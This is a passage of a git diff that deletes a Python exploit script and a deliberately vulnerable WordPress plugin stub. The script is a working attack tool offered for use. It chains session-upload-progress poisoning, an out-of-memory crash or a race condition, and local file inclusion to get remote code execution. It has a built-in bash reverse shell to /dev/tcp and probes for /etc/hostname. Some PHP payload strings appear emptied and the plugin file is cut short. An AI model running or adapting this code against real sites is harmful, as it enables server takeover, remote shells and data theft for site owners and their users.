"/var/lib/php/sessions", - "/var/lib/php5/sessions", -] - -WP_LFI_PARAMS = [ - "dt_template", - "page", - "template", - "file", - "tpl", - "include", - "path", -] - -# OOM tuning — ~1.6KB per field on PHP 8.4, aim for 80% of memory_limit -OOM_FIELD_SIZE = 1024 -OOM_FIELDS_64M = 40000 -OOM_FIELDS_128M = 80000 - -# ─── HTTP / multipart helpers ──────────────────────────────────────── - -def tcp_connect(host, port, tls=False, timeout=30): - sock = socket.create_connection((host, port), timeout=timeout) - if tls: - import ssl - ctx = ssl.create_default_context() - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - sock = ctx.wrap_socket(sock, server_hostname=host) - return sock - - -def recv_all(sock, timeout=10): - resp = b"" - sock.settimeout(timeout) - try: - while True: - d = sock.recv(8192) - if not d: - break - resp += d - except socket.timeout: - pass - return resp - - -def status_code(resp): - try: - return int(resp.split(b" ")[1]) - except: - return 0 - - -def body_of(resp): - if b"\r\n\r\n" not in resp: - return resp - hdr, raw = resp.split(b"\r\n\r\n", 1) - if b"transfer-encoding: chunked" in hdr.lower(): - out, data = b"", raw - while data: - nl = data.find(b"\r\n") - if nl < 0: - break - try: - clen = int(data[:nl].split(b";")[0].strip(), 16) - except ValueError: - break - if clen == 0: - break - out += data[nl+2:nl+2+clen] - data = data[nl+2+clen+2:] - return out - return raw - - -def http_get(host, port, tls, path, headers=None, timeout=10): - sock = tcp_connect(host, port, tls, timeout) - req = ( - b"GET " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - ) - if headers: - for k, v in headers.items(): - req += f"{k}: {v}\r\n".encode() - req += b"Connection: close\r\n\r\n" - sock.sendall(req) - resp = recv_all(sock, timeout) - sock.close() - return resp - - -def mp_field(bnd, name, value): - return (b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="' + name + b'"\r\n' - b"\r\n" + value + b"\r\n") - - -def mp_file(bnd, name, fname, content): - return (b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="' + name - + b'"; filename="' + fname + b'"\r\n' - b"Content-Type: application/octet-stream\r\n" - b"\r\n" + content + b"\r\n") - - -def mp_end(bnd): - return b"--" + bnd + b"--\r\n" - -# ─── payload builders ──────────────────────────────────────────────── - -def build_payload(args): - if args.trigger_only: - return b'' - if args.cmd: - cmd_b64 = base64.b64encode(args.cmd.encode()).decode() - return f''.encode() - if args.lhost and args.lport: - shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'" - cmd_b64 = base64.b64encode(shell.encode()).decode() - return f''.encode() - print("[!] Specify --cmd, --lhost/--lport, or --trigger-only") - sys.exit(1) - -# ─── OOM mode (CVE-2026-109618) ───────────────────────────────────── - -def attack_oom(host, port, tls, path, sid, php_code, lfi_param, - session_paths, fields, fsize, args): - bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode() - - print("[*] Phase 1: session poisoning + OOM crash") - print(f" Building {fields} × {fsize}B field payload...") - - body = b"" - body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code) - body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096) - for i in range(fields): - body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize) - body += mp_end(bnd) - print(f" Payload: {len(body)/(1024*1024):.1f} MB") - - sock = tcp_connect(host, port, tls, timeout=120) - sock.sendall( - b"POST " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" - b"Content-Length: " + str(len(body)).encode() + b"\r\n" - b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - ) - try: - sock.sendall(body) - except (BrokenPipeError, ConnectionResetError, OSError): - pass - - resp = recv_all(sock, timeout=10) - sock.close() - sc = status_code(resp) - - if sc == 502 or sc == 0: - print(f" [+] Worker crashed (HTTP {sc or 'reset'})") - print(f" OOM during parsing — session cleanup skipped") - elif sc == 500: - print(f" [+] HTTP 500 — OOM during script execution") - else: - print(f" [!] HTTP {sc} — no OOM. Try --fields {fields*2}") - return False - - # Wait for new worker - print(" Waiting for new worker...") - time.sleep(2) - for i in range(10): - try: - r = http_get(host, port, tls, path, timeout=3) - if status_code(r) in (200, 301, 302, 403, 404): - print(f" New worker ready") - break - except: - pass - time.sleep(1) - else: - print(" [!] New worker not available") - return False - - # Phase 2: LFI - return phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args) - - -# ─── Race mode (CVE-2026-109619) ──────────────────────────────────── - -def slow_upload(host, port, tls, path, sid, php_code, duration=8.0): - bnd = b"----SLOW" + os.urandom(4).hex().encode() - sock = tcp_connect(host, port, tls) - - head = b"" - head += (b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n' - b"\r\n" + php_code + b"\r\n") - head += (b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n' - b"Content-Type: application/octet-stream\r\n\r\n") - - file_size = 1024 * 1024 - tail = b"\r\n--" + bnd + b"--\r\n" - total = len(head) + file_size + len(tail) - - sock.sendall( - b"POST " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" - b"Content-Length: " + str(total).encode() + b"\r\n" - b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - ) - sock.sendall(head) - - chunk = b"\x00" * 4096 - sent, start = 0, time.time() - try: - while sent < file_size and (time.time() - start) < duration: - sock.sendall(chunk[:min(4096, file_size - sent)]) - sent += min(4096, file_size - sent) - time.sleep(0.05) - sock.sendall(tail) - except (BrokenPipeError, ConnectionResetError, OSError): - pass - try: - recv_all(sock, timeout=2) - except: - pass - sock.close() - - -def attack_race(host, port, tls, path, php_code, lfi_param, - session_paths, attempts, args): - for attempt in range(1, attempts + 1): - if attempts > 1: - print(f"[*] === Attempt {attempt}/{attempts} ===") - - sid = os.urandom(16).hex() - lfi_sid = os.urandom(16).hex() - print(f"[+] Upload SID: {sid}") - - print("[*] Starting slow upload (keeps session file alive)...") - t = threading.Thread(target=slow_upload, - args=(host, port, tls, path, sid, php_code, 8.0), - daemon=True) - t.start() - time.sleep(0.3) - - print("[*] Racing LFI requests against upload...") - for i in range(150): - if not t.is_alive(): - break - for sp in session_paths: - sess = f"{sp}/sess_{sid}" - url = f"{path}?{lfi_param}={sess}" - try: - resp = http_get(host, port, tls, url, - headers={"Cookie": f"PHPSESSID={lfi_sid}"}, - timeout=3) - rbody = body_of(resp) - if b"CVE2026:" in rbody: - output = extract_output(rbody.decode(errors="replace"), args) - if output is not None: - print(f"\n[+] Race won on iteration {i+1}") - print_result(output, args) - return True - except: - pass - time.sleep(0.02) - - t.join(timeout=2) - print(f" Race lost on attempt {attempt}") - - print("[!] Race condition failed after all attempts") - return False - -# ─── LFI phase (shared) ───────────────────────────────────────────── - -def phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args): - print() - print("[*] Phase 2: including poisoned session file via LFI...") - - for sp in session_paths: - sess = f"{sp}/sess_{sid}" - url = f"{path}?{lfi_param}={sess}" - try: - resp = http_get(host, port, tls, url, timeout=10) - rbody = body_of(resp) - if b"CVE2026:" in rbody: - output = extract_output(rbody.decode(errors="replace"), args) - if output is not None: - print(f" Session file: {sess}") - print_result(output, args) - return True - except: - continue - - print(" [!] Session file not found via LFI") - print(f" Tried: {', '.join(session_paths)}") - return False - - -def extract_output(body_text, args): - if args.trigger_only: - m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", body_text) - return m.group(1) if m else body_text[:200] - if args.cmd: - m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL) - if m: - return m.group(1).strip() - if "upload_progress_" in body_text: - return "" - return body_text[:500] - return "" - - -def print_result(output, args): - if args.trigger_only: - print() - print("[+] Code execution confirmed!") - print(f" {output}") - elif args.cmd: - print() - print("[+] ═══════════════ RCE OUTPUT ═══════════════") - print(output) - print("[+] ══════════════════════════════════════════") - print() - print("[+] RCE achieved!") - else: - print() - print("[+] Payload delivered — check your listener") - -# ─── auto-detect ───────────────────────────────────────────────────── - -def detect_lfi_param(host, port, tls, path, params): - for param in params: - try: - url = f"{path}?{param}=/etc/hostname" - resp = http_get(host, port, tls, url, timeout=5) - sc = status_code(resp) - rbody = body_of(resp) - if sc == 200 and len(rbody.strip()) > 0 and len(rbody.strip()) < 200: - return param - except: - continue - return None - -# ─── main ──────────────────────────────────────────────────────────── - -def main(): - ap = argparse.ArgumentParser( - description="WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619", - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=""" -Examples: - %(prog)s -t http://target:8080/ --cmd 'id' - %(prog)s -t http://target:8080/ --mode race --cmd 'whoami' - %(prog)s -t http://target:8080/ --lhost 10.0.0.1 --lport 4444 - %(prog)s -t http://target:8080/ --trigger-only -""") - ap.add_argument("-t", "--target", required=True, help="WordPress URL") - ap.add_argument("--mode", choices=["oom", "race"], default="oom", - help="Attack mode: oom (CVE-2026-109618) or race (CVE-2026-109619)") - ap.add_argument("--cmd", help="Command to execute") - ap.add_argument("--lhost", help="Reverse shell listener IP") - ap.add_argument("--lport", type=int, help="Reverse shell listener port") - ap.add_argument("--trigger-only", action="store_true", - help="Confirm vulnerability without payload") - ap.add_argument("--lfi-param", help="LFI query parameter (auto-detected if omitted)") - ap.add_argument("--session-path", help="session.save_path on target") - ap.add_argument("--fields", type=int, default=OOM_FIELDS_64M, - help=f"OOM pressure fields (default {OOM_FIELDS_64M} for 64M)") - ap.add_argument("--field-size", type=int, default=OOM_FIELD_SIZE, - help=f"Bytes per OOM field (default {OOM_FIELD_SIZE})") - ap.add_argument("--attempts", type=int, default=5, - help="Race mode attempts (default 5)") - args = ap.parse_args() - - p = urlparse(args.target) - tls = p.scheme == "https" - host = p.hostname or "127.0.0.1" - port = p.port or (443 if tls else 80) - path = p.path or "/" - if not path.endswith("/") and "." not in path.split("/")[-1]: - path += "/" - - php_code = build_payload(args) - sid = os.urandom(16).hex() - spaths = list(WP_SESSION_PATHS) - if args.session_path: - spaths = [args.session_path] + [s for s in spaths if s != args.session_path] - - cve = "CVE-2026-109618 (OOM)" if args.mode == "oom" else "CVE-2026-109619 (Race)" - print("=" * 65) - print(f" WordPress RCE — {cve}") - print("=" * 65) - print(f" Target : {args.target}") - print(f" Mode : {args.mode}") - if args.cmd: - print(f" Command : {args.cmd}") - elif args.lhost: - print(f" Reverse sh : {args.lhost}:{args.lport}") - print() - - # Phase 0: verify target - print("[*] Checking target...") - try: - r = http_get(host, port, tls, path, timeout=5) - sc = status_code(r) - if sc == 0: - raise ConnectionError("no response") - print(f" HTTP {sc} — WordPress alive") - except Exception as e: - print(f" [!] Not reachable: {e}") - sys.exit(1) - - # Auto-detect LFI param - lfi_param = args.lfi_param - if not lfi_param: - print("[*] Auto-detecting LFI parameter...") - lfi_param = detect_lfi_param(host, port, tls, path, WP_LFI_PARAMS) - if lfi_param: - print(f" [+] Found: {lfi_param}") - else: - print(" [!] No LFI param detected. Specify --lfi-param") - sys.exit(1) - print() - - if args.mode == "oom": - ok = attack_oom(host, port, tls, path, sid, php_code, lfi_param, - spaths, args.fields, args.field_size, args) - else: - ok = attack_race(host, port, tls, path, php_code, lfi_param, - spaths, args.attempts, args) - - sys.exit(0 if ok else 1) - - -if __name__ == "__main__": - main() diff --git a/wordpress-exploit/vuln-plugin.php b/wordpress-exploit/vuln-plugin.php deleted file mode 100644 index c50468a..0000000 --- a/wordpress-exploit/vuln-plugin.php +++ /dev/null @@ -1,34 +0,0 @@ -

Developer Toolkit

'; - echo '

Development utilities for debugging and testing.

'; - echo '

PHP Info

'; - echo '

Session ID: ' . session_id() . '

'; - echo '

Session Save Path: ' . session_save_path() . '

'; - echo '

Upload Progress: ' . ini_get('session.upload_progress.enabled') . '

'; - echo ''; -}